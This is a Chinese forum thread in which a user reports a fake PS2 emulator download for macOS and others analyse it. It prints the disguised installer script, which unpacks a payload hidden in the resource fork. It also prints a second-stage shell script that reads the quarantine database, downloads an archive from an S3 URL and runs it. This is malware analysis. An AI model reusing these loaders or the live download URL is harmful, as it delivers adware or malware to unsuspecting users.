晚上突然想玩一下 ps2 老游戏,打开百度搜索 ps2 模拟器,然后就搜到了这个网站,看起来很正经,还提供了全平台的软件下载,于是我就下载了。
https://ps2smart.com/download.html
打开 dmg 之后,出现一个图标,我下意识就双击运行了。但是和一般 app 不同,双击之后一闪而现了 terminal,然后什么都没发生,我意识到可能翻车了。
我查看了一下伪造成 app 的脚本,内容如下:
#!/bin/bash
TEMP_NAME="$(mktemp -t Installer)"
tail -c 8822 "$0/..namedfork/rsrc" | funzip -GsJPc > "${TEMP_NAME}"
chmod +x "${TEMP_NAME}" && nohup "${TEMP_NAME}" > /dev/null 2>&1 &
killall Terminal
exit
因为涉及到了 ..namedfork/rsrc,所以我补充一下,这里 $0/..namedfork/rsrc 就是那个脚本文件的图标的地址(应该是 macos 特有的路径),这个图标文件大概 140KB 。
我理解的意思是脚本中提取了图标后面约 8KB 的二进制进行解压(解压过后 16KB),然后在后台运行了。
限于个人能力,目前进展停止在了对那个二进制文件反汇编,不知道他究竟在我的电脑中做了什么,所以非常苦恼。因为他是没有获取 root 权限的,所以或许危害不是那么大?
有没有感兴趣的大佬研究研究呀,小弟在这里先行感谢了!
提取到的二进制文件:可运行的未知二进制文件
1
wwhc 2020-10-31 05:51:56 +08:00
Avast 报告为 MacOS:Bundlore-FJ [Adw]
mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/ |
2
xfangs OP @wwhc 万分感谢,前半段倒是很像,对比后半段他并没有问我要 root 密码。
这个伪造的网站 2020/10/4 还在更新,说明这类病毒还在持续更新中,或许有了新的突破也说不定,希望他的目的只是发发广告 |
3
mclxly 2020-10-31 09:46:14 +08:00
我也装过一些网络下载的软件,不晓得中招没
|
4
lcdtyph 2020-10-31 10:06:42 +08:00
看了一眼,这个 binary 又执行了下面这个 shell 脚本:
```bash temp_dir() { if [ -n "${TMPDIR}" ]; then echo "${TMPDIR}"; else getconf DARWIN_USER_TEMP_DIR; fi; } where_from_url() { /usr/bin/sqlite3 "${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" "SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1" 2> /dev/null; } extract_did() { local -r url="$(where_from_url)" local query="${url#*\?}" local did_find=0 for param in ${query//[=&]/ }; do ((did_find == 1)) && echo "${param}" && break [ "${param}" == "utm_source" ] || [ "${param}" == "sidw" ] || [ "${param}" == "neo" ] && did_find=1 done } close_terminal() { killall "Terminal"; } download() { local -r url="${1}" local -r tmp_dir="${2}" local -r path="${tmp_dir}/$(uuidgen)" if curl -f -s -o "${path}" "${url}"; then echo "${path}"; fi } unarchive() { local -r tgz_path="${1}" [ -z "${tgz_path}" ] && return local -r app_dir=$(/usr/bin/mktemp -d "$(dirname "${tgz_path}")/$(uuidgen)") if tar -xzf "${tgz_path}" -C "${app_dir}"; then echo "${app_dir}"; fi rm -rf "${tgz_path}" } app_path() { local -r app_dir="${1}" [ -z "${app_dir}" ] && return local -r app_paths=("${app_dir}"/?*.app) local -r app_path="${app_paths[0]}" [ -d "${app_path}" ] && echo "${app_path}" } bin_path() { local -r app_path="${1}" [ -z "${app_path}" ] && return local -r binary_paths=("${app_path}/Contents/MacOS"/?*) local -r binary_path="${binary_paths[0]}" echo "${binary_path}" } exec_bin() { local -r bin_path="${1}" local -r did="${2}" local -r app_path="${3}" [ -z "${bin_path}" ] && return "${bin_path}" -did "${did}" } main() { local -r url="${1}" close_terminal local -r did="$(extract_did)" [ -z "${did}" ] && return local -r tmp_dir="$(/usr/bin/mktemp -d "$(temp_dir)$(uuidgen)")" local -r arch_path="$(download "${url}" "${tmp_dir}")" local -r app_dir="$(unarchive "${arch_path}")" local -r app_path="$(app_path "${app_dir}")" local -r bin_path="$(bin_path "${app_path}")" exec_bin "${bin_path}" "${did}" "${app_path}" rm -rf "${tmp_dir}" } main "https://ywdd6wfq.s3.amazonaws.com/Installer.app.tgz" & ``` 会从 ywdd6wfq.s3.amazonaws.com/Installer.app.tgz 这个网址下载个真正的 binary 然后执行 |